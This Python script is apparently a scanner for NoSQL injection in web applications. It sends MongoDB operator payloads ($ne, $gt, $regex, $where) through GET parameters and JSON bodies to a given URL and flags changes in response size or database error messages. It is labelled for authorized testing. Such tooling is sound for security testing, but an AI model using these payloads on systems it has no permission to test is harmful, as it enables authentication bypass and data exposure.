#!/usr/bin/env python3 """Agent for testing NoSQL injection vulnerabilities in web applications.""" import argparse import json from datetime import datetime, timezone try: import requests HAS_REQUESTS = True except ImportError: HAS_REQUESTS = False NOSQL_PAYLOADS_GET = [ ("[$ne]", ""), ("[$gt]", ""), ("[$regex]", ".*"), ("[$exists]", "true"), ("[$nin][]", "impossible"), ] NOSQL_PAYLOADS_JSON = [ {"$ne": ""}, {"$gt": ""}, {"$regex": ".*"}, {"$exists": True}, {"$where": "1==1"}, {"$or": [{"a": 1}, {"b": 1}]}, ] ERROR_INDICATORS = [ "mongoerror", "bson", "objectid", "cast to objectid", "json parse error", "syntaxerror", "unexpected token", "cannot read property", "mongodb", ] def test_get_injection(url, param, token=None): """Test NoSQL injection via GET parameter manipulation.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Authorization": f"Bearer {token}"} if token else {} try: baseline = requests.get(f"{url}?{param}=test", headers=headers, timeout=10, verify=False) baseline_len = len(baseline.text) except requests.RequestException: return findings for suffix, value in NOSQL_PAYLOADS_GET: try: test_url = f"{url}?{param}{suffix}={value}" resp = requests.get(test_url, headers=headers, timeout=10, verify=False) indicators = [] if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3: indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}") for err in ERROR_INDICATORS: if err in resp.text.lower(): indicators.append(f"Error indicator: {err}") if indicators: findings.append({ "param": param, "payload": f"{param}{suffix}={value}", "method": "GET", "indicators": indicators, }) except requests.RequestException: continue return findings def test_json_injection(url, field, token=None): """Test NoSQL injection via JSON body.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Authorization": f"Bearer {token}"} if token else {} headers["Content-Type"] = "application/json" try: baseline = requests.post(url, json={field: "test"}, headers=headers, timeout=10, verify=False) baseline_len = len(baseline.text) except requests.RequestException: return findings for payload in NOSQL_PAYLOADS_JSON: try: resp = requests.post(url, json={field: payload}, headers=headers, timeout=10, verify=False) indicators = [] if resp.status_code == 200 and abs(len(resp.text) - baseline_len) > baseline_len * 0.3: indicators.append(f"Response size changed: {baseline_len} -> {len(resp.text)}") for err in ERROR_INDICATORS: if err in resp.text.lower(): indicators.append(f"Error indicator: {err}") if indicators: findings.append({ "field": field, "payload": str(payload), "method": "POST", "indicators": indicators, }) except requests.RequestException: continue return findings def main(): parser = argparse.ArgumentParser( description="Test NoSQL injection vulnerabilities (authorized testing only)" ) parser.add_argument("--url", required=True, help="Target URL") parser.add_argument("--param", help="GET parameter to test") parser.add_argument("--field", help="JSON field to test") parser.add_argument("--token", help="Bearer token") parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() print("[*] NoSQL Injection Testing Agent") print("[!] For authorized security testing only") report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": args.url, "findings": []} if args.param: findings = test_get_injection(args.url, args.param, args.token) report["findings"].extend(findings) if args.field: findings = test_json_injection(args.url, args.field, args.token) report["findings"].extend(findings) report["risk_level"] = "CRITICAL" if report["findings"] else "LOW" print(f"[*] NoSQL injection findings: {len(report['findings'])}") if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"[*] Report saved to {args.output}") else: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()